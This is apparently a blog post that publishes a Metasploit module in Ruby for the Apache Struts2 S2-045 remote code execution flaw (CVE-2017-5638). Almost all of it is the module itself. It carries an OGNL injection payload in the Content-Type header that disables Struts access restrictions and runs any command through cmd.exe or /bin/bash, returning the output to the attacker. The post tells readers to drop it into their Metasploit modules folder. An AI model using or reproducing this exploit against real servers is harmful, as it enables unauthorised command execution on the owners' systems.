Struts2-S2-045(CVE-2017-5638) Metasploit Exploit

put it to your MSFPATH/modules/exploits/multi/http/
struts2_s2045_rce.rb:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient


def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts2 S2-045 Remote Code Execution Exploit(CVE-2017-5638)',
'Description' => %q{
It is possible to perform a RCE attack with a malicious Content-Type value.If the Content-Type value isn't valid an exception is thrown which is then used to display an error message to a user.Discoverd By Nike.Zheng.
},
'Author' => [ 'MSF Module: Chorder(http://chorder.net)'],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2017-5638']
],
'Privileged' => true,
'Platform' => %w{ linux win },
'Arch' => 'x86',
'DefaultOptions' =>{
'CMD' => 'whoami'
},
'Targets' =>
[
['Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win',
'CmdStagerFlavor' => 'tftp'
}
],
['Linux Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 06 2017'))

register_options(
[
Opt::RPORT(8080),
OptString.new('URI', [ true, 'The path to a struts application action ie. /struts2.action', ""]),
OptString.new('CMD', [ true, 'Execute this command instead of using command stager', "" ])
], self.class)
end


def execute_command(cmd, opts = {})
uri = normalize_uri( datastore['URI'] )
headers ={
"Content-Type"=>"%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+cmd+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
}
data = '----------1529557865\r\n\Content-Disposition: form-data; name="file"; filename="test.txt"\r\n\000'
print_status("Target URI: #{uri}")
print_status("Attempting to execute: #{cmd}")

resp = send_request_raw({
'host' => rhost,
'port' => rport,
'uri' => uri,
'version' => '1.1',
'method' => 'POST',
'headers' => headers,
'data' => data,
}, 5)
print_status( resp.body )
end



def exploit
unless datastore['CMD'].blank?
print_status("Executing Command...")
execute_command(datastore['CMD'])
return
end
handler

end

end
Hello, Vistor 解决kali2.0中RVM不能编译ruby-2.3.3
Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×